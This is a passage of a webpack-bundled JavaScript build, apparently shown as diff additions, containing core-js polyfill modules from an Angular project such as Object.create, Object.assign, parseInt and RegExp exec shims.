*/ +/***/ (function(module, exports, __webpack_require__) { + +var nativeFunctionToString = __webpack_require__(/*! ../internals/function-to-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js"); +var WeakMap = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").WeakMap; + +module.exports = typeof WeakMap === 'function' && /native code/.test(nativeFunctionToString.call(WeakMap)); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/new-promise-capability.js": +/*!*************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/new-promise-capability.js ***! + \*************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 25.4.1.5 NewPromiseCapability(C) +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); + +var PromiseCapability = function (C) { + var resolve, reject; + this.promise = new C(function ($$resolve, $$reject) { + if (resolve !== undefined || reject !== undefined) throw TypeError('Bad Promise constructor'); + resolve = $$resolve; + reject = $$reject; + }); + this.resolve = aFunction(resolve); + this.reject = aFunction(reject); +}; + +module.exports.f = function (C) { + return new PromiseCapability(C); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/number-is-finite.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/number-is-finite.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var globalIsFinite = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").isFinite; + +// `Number.isFinite` method +// https://tc39.github.io/ecma262/#sec-number.isfinite +module.exports = Number.isFinite || function isFinite(it) { + return typeof it == 'number' && globalIsFinite(it); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-assign.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-assign.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 19.1.2.1 Object.assign(target, source, ...) +var objectKeys = __webpack_require__(/*! ../internals/object-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js"); +var getOwnPropertySymbolsModule = __webpack_require__(/*! ../internals/object-get-own-property-symbols */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js"); +var propertyIsEnumerableModule = __webpack_require__(/*! ../internals/object-property-is-enumerable */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var IndexedObject = __webpack_require__(/*! ../internals/indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js"); +var nativeAssign = Object.assign; + +// should work with symbols and should have deterministic property order (V8 bug) +module.exports = !nativeAssign || __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + var A = {}; + var B = {}; + // eslint-disable-next-line no-undef + var symbol = Symbol(); + var alphabet = 'abcdefghijklmnopqrst'; + A[symbol] = 7; + alphabet.split('').forEach(function (chr) { B[chr] = chr; }); + return nativeAssign({}, A)[symbol] != 7 || objectKeys(nativeAssign({}, B)).join('') != alphabet; +}) ? function assign(target, source) { // eslint-disable-line no-unused-vars + var T = toObject(target); + var argumentsLength = arguments.length; + var index = 1; + var getOwnPropertySymbols = getOwnPropertySymbolsModule.f; + var propertyIsEnumerable = propertyIsEnumerableModule.f; + while (argumentsLength > index) { + var S = IndexedObject(arguments[index++]); + var keys = getOwnPropertySymbols ? objectKeys(S).concat(getOwnPropertySymbols(S)) : objectKeys(S); + var length = keys.length; + var j = 0; + var key; + while (length > j) if (propertyIsEnumerable.call(S, key = keys[j++])) T[key] = S[key]; + } return T; +} : nativeAssign; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var defineProperties = __webpack_require__(/*! ../internals/object-define-properties */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-properties.js"); +var enumBugKeys = __webpack_require__(/*! ../internals/enum-bug-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js"); +var html = __webpack_require__(/*! ../internals/html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/html.js"); +var documentCreateElement = __webpack_require__(/*! ../internals/document-create-element */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js"); +var IE_PROTO = __webpack_require__(/*! ../internals/shared-key */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js")('IE_PROTO'); +var PROTOTYPE = 'prototype'; +var Empty = function () { /* empty */ }; + +// Create object with fake `null` prototype: use iframe Object with cleared prototype +var createDict = function () { + // Thrash, waste and sodomy: IE GC bug + var iframe = documentCreateElement('iframe'); + var length = enumBugKeys.length; + var lt = '<'; + var script = 'script'; + var gt = '>'; + var js = 'java' + script + ':'; + var iframeDocument; + iframe.style.display = 'none'; + html.appendChild(iframe); + iframe.src = String(js); + iframeDocument = iframe.contentWindow.document; + iframeDocument.open(); + iframeDocument.write(lt + script + gt + 'document.F=Object' + lt + '/' + script + gt); + iframeDocument.close(); + createDict = iframeDocument.F; + while (length--) delete createDict[PROTOTYPE][enumBugKeys[length]]; + return createDict(); +}; + +module.exports = Object.create || function create(O, Properties) { + var result; + if (O !== null) { + Empty[PROTOTYPE] = anObject(O); + result = new Empty(); + Empty[PROTOTYPE] = null; + // add "__proto__" for Object.getPrototypeOf polyfill + result[IE_PROTO] = O; + } else result = createDict(); + return Properties === undefined ? result : defineProperties(result, Properties); +}; + +__webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js")[IE_PROTO] = true; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-properties.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-properties.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var objectKeys = __webpack_require__(/*! ../internals/object-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js"); + +module.exports = DESCRIPTORS ? Object.defineProperties : function defineProperties(O, Properties) { + anObject(O); + var keys = objectKeys(Properties); + var length = keys.length; + var i = 0; + var key; + while (length > i) definePropertyModule.f(O, key = keys[i++], Properties[key]); + return O; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js": +/*!*************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js ***! + \*************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ../internals/ie8-dom-define */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var nativeDefineProperty = Object.defineProperty; + +exports.f = DESCRIPTORS ? nativeDefineProperty : function defineProperty(O, P, Attributes) { + anObject(O); + P = toPrimitive(P, true); + anObject(Attributes); + if (IE8_DOM_DEFINE) try { + return nativeDefineProperty(O, P, Attributes); + } catch (error) { /* empty */ } + if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported'); + if ('value' in Attributes) O[P] = Attributes.value; + return O; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js": +/*!*************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js ***! + \*************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var propertyIsEnumerableModule = __webpack_require__(/*! ../internals/object-property-is-enumerable */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js"); +var createPropertyDescriptor = __webpack_require__(/*! ../internals/create-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property-descriptor.js"); +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ../internals/ie8-dom-define */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/ie8-dom-define.js"); +var nativeGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; + +exports.f = DESCRIPTORS ? nativeGetOwnPropertyDescriptor : function getOwnPropertyDescriptor(O, P) { + O = toIndexedObject(O); + P = toPrimitive(P, true); + if (IE8_DOM_DEFINE) try { + return nativeGetOwnPropertyDescriptor(O, P); + } catch (error) { /* empty */ } + if (has(O, P)) return createPropertyDescriptor(!propertyIsEnumerableModule.f.call(O, P), O[P]); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names-external.js": +/*!*****************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names-external.js ***! + \*****************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var nativeGetOwnPropertyNames = __webpack_require__(/*! ../internals/object-get-own-property-names */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js").f; +var toString = {}.toString; + +var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames + ? Object.getOwnPropertyNames(window) : []; + +var getWindowNames = function (it) { + try { + return nativeGetOwnPropertyNames(it); + } catch (error) { + return windowNames.slice(); + } +}; + +module.exports.f = function getOwnPropertyNames(it) { + return windowNames && toString.call(it) == '[object Window]' + ? getWindowNames(it) + : nativeGetOwnPropertyNames(toIndexedObject(it)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js": +/*!********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js ***! + \********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O) +var internalObjectKeys = __webpack_require__(/*! ../internals/object-keys-internal */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js"); +var hiddenKeys = __webpack_require__(/*! ../internals/enum-bug-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js").concat('length', 'prototype'); + +exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) { + return internalObjectKeys(O, hiddenKeys); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js": +/*!**********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js ***! + \**********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +exports.f = Object.getOwnPropertySymbols; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-prototype-of.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O) +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var IE_PROTO = __webpack_require__(/*! ../internals/shared-key */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js")('IE_PROTO'); +var CORRECT_PROTOTYPE_GETTER = __webpack_require__(/*! ../internals/correct-prototype-getter */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/correct-prototype-getter.js"); +var ObjectPrototype = Object.prototype; + +module.exports = CORRECT_PROTOTYPE_GETTER ? Object.getPrototypeOf : function (O) { + O = toObject(O); + if (has(O, IE_PROTO)) return O[IE_PROTO]; + if (typeof O.constructor == 'function' && O instanceof O.constructor) { + return O.constructor.prototype; + } return O instanceof Object ? ObjectPrototype : null; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var arrayIndexOf = __webpack_require__(/*! ../internals/array-includes */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-includes.js")(false); +var hiddenKeys = __webpack_require__(/*! ../internals/hidden-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hidden-keys.js"); + +module.exports = function (object, names) { + var O = toIndexedObject(object); + var i = 0; + var result = []; + var key; + for (key in O) !has(hiddenKeys, key) && has(O, key) && result.push(key); + // Don't enum bug & hidden keys + while (names.length > i) if (has(O, key = names[i++])) { + ~arrayIndexOf(result, key) || result.push(key); + } + return result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.14 / 15.2.3.14 Object.keys(O) +var internalObjectKeys = __webpack_require__(/*! ../internals/object-keys-internal */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-keys-internal.js"); +var enumBugKeys = __webpack_require__(/*! ../internals/enum-bug-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/enum-bug-keys.js"); + +module.exports = Object.keys || function keys(O) { + return internalObjectKeys(O, enumBugKeys); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js": +/*!********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-property-is-enumerable.js ***! + \********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var nativePropertyIsEnumerable = {}.propertyIsEnumerable; +var nativeGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; + +// Nashorn ~ JDK8 bug +var NASHORN_BUG = nativeGetOwnPropertyDescriptor && !nativePropertyIsEnumerable.call({ 1: 2 }, 1); + +exports.f = NASHORN_BUG ? function propertyIsEnumerable(V) { + var descriptor = nativeGetOwnPropertyDescriptor(this, V); + return !!descriptor && descriptor.enumerable; +} : nativePropertyIsEnumerable; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-set-prototype-of.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Works with __proto__ only. Old v8 can't work with null proto objects. +/* eslint-disable no-proto */ +var validateSetPrototypeOfArguments = __webpack_require__(/*! ../internals/validate-set-prototype-of-arguments */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-set-prototype-of-arguments.js"); + +module.exports = Object.setPrototypeOf || ('__proto__' in {} ? function () { + var correctSetter = false; + var test = {}; + var setter; + try { + setter = Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').set; + setter.call(test, []); + correctSetter = test instanceof Array; + } catch (error) { /* empty */ } + return function setPrototypeOf(O, proto) { + validateSetPrototypeOfArguments(O, proto); + if (correctSetter) setter.call(O, proto); + else O.__proto__ = proto; + return O; + }; +}() : undefined); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-to-string.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-to-string.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var classof = __webpack_require__(/*! ../internals/classof */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof.js"); +var TO_STRING_TAG = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('toStringTag'); +var test = {}; + +test[TO_STRING_TAG] = 'z'; + +// `Object.prototype.toString` method implementation +// https://tc39.github.io/ecma262/#sec-object.prototype.tostring +module.exports = String(test) !== '[object z]' ? function toString() { + return '[object ' + classof(this) + ']'; +} : test.toString; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/own-keys.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/own-keys.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var getOwnPropertyNamesModule = __webpack_require__(/*! ../internals/object-get-own-property-names */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js"); +var getOwnPropertySymbolsModule = __webpack_require__(/*! ../internals/object-get-own-property-symbols */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-symbols.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var Reflect = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").Reflect; + +// all object keys, includes non-enumerable and symbols +module.exports = Reflect && Reflect.ownKeys || function ownKeys(it) { + var keys = getOwnPropertyNamesModule.f(anObject(it)); + var getOwnPropertySymbols = getOwnPropertySymbolsModule.f; + return getOwnPropertySymbols ? keys.concat(getOwnPropertySymbols(it)) : keys; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-float.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-float.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var nativeParseFloat = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").parseFloat; +var internalStringTrim = __webpack_require__(/*! ../internals/string-trim */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-trim.js"); +var whitespaces = __webpack_require__(/*! ../internals/whitespaces */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/whitespaces.js"); +var FORCED = 1 / nativeParseFloat(whitespaces + '-0') !== -Infinity; + +module.exports = FORCED ? function parseFloat(str) { + var string = internalStringTrim(String(str), 3); + var result = nativeParseFloat(string); + return result === 0 && string.charAt(0) == '-' ? -0 : result; +} : nativeParseFloat; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-int.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-int.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var nativeParseInt = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").parseInt; +var internalStringTrim = __webpack_require__(/*! ../internals/string-trim */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-trim.js"); +var whitespaces = __webpack_require__(/*! ../internals/whitespaces */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/whitespaces.js"); +var hex = /^[-+]?0[xX]/; +var FORCED = nativeParseInt(whitespaces + '08') !== 8 || nativeParseInt(whitespaces + '0x16') !== 22; + +module.exports = FORCED ? function parseInt(str, radix) { + var string = internalStringTrim(String(str), 3); + return nativeParseInt(string, (radix >>> 0) || (hex.test(string) ? 16 : 10)); +} : nativeParseInt; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/perform.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/perform.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (exec) { + try { + return { error: false, value: exec() }; + } catch (error) { + return { error: true, value: error }; + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/promise-resolve.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/promise-resolve.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var newPromiseCapability = __webpack_require__(/*! ../internals/new-promise-capability */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/new-promise-capability.js"); + +module.exports = function (C, x) { + anObject(C); + if (isObject(x) && x.constructor === C) return x; + var promiseCapability = newPromiseCapability.f(C); + var resolve = promiseCapability.resolve; + resolve(x); + return promiseCapability.promise; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); + +module.exports = function (target, src, options) { + for (var key in src) redefine(target, key, src[key], options); + return target; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js": +/*!***********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js ***! + \***********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var setGlobal = __webpack_require__(/*! ../internals/set-global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js"); +var nativeFunctionToString = __webpack_require__(/*! ../internals/function-to-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/function-to-string.js"); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var getInternalState = InternalStateModule.get; +var enforceInternalState = InternalStateModule.enforce; +var TEMPLATE = String(nativeFunctionToString).split('toString'); + +__webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('inspectSource', function (it) { + return nativeFunctionToString.call(it); +}); + +(module.exports = function (O, key, value, options) { + var unsafe = options ? !!options.unsafe : false; + var simple = options ? !!options.enumerable : false; + var noTargetGet = options ? !!options.noTargetGet : false; + if (typeof value == 'function') { + if (typeof key == 'string' && !has(value, 'name')) hide(value, 'name', key); + enforceInternalState(value).source = TEMPLATE.join(typeof key == 'string' ? key : ''); + } + if (O === global) { + if (simple) O[key] = value; + else setGlobal(key, value); + return; + } else if (!unsafe) { + delete O[key]; + } else if (!noTargetGet && O[key]) { + simple = true; + } + if (simple) O[key] = value; + else hide(O, key, value); +// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative +})(Function.prototype, 'toString', function toString() { + return typeof this == 'function' && getInternalState(this).source || nativeFunctionToString.call(this); +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec-abstract.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec-abstract.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ./classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var regexpExec = __webpack_require__(/*! ./regexp-exec */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec.js"); + +// `RegExpExec` abstract operation +// https://tc39.github.io/ecma262/#sec-regexpexec +module.exports = function (R, S) { + var exec = R.exec; + if (typeof exec === 'function') { + var result = exec.call(R, S); + if (typeof result !== 'object') { + throw TypeError('RegExp exec method returned something other than an Object or null'); + } + return result; + } + + if (classof(R) !== 'RegExp') { + throw TypeError('RegExp#exec called on incompatible receiver'); + } + + return regexpExec.call(R, S); +}; + + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-exec.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var regexpFlags = __webpack_require__(/*! ./regexp-flags */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-flags.js"); + +var nativeExec = RegExp.prototype.exec; +// This always refers to the native implementation, because the +// String#replace polyfill uses ./fix-regexp-well-known-symbol-logic.js, +// which loads this file before patching the method. +var nativeReplace = String.prototype.replace; + +var patchedExec = nativeExec; + +var UPDATES_LAST_INDEX_WRONG = (function () { + var re1 = /a/; + var re2 = /b*/g; + nativeExec.call(re1, 'a'); + nativeExec.call(re2, 'a'); + return re1.lastIndex !== 0 || re2.lastIndex !== 0; +})(); + +// nonparticipating capturing group, copied from es5-shim's String#split patch. +var NPCG_INCLUDED = /()??/.exec('')[1] !== undefined; + +var PATCH = UPDATES_LAST_INDEX_WRONG || NPCG_INCLUDED; + +if (PATCH) { + patchedExec = function exec(str) { + var re = this; + var 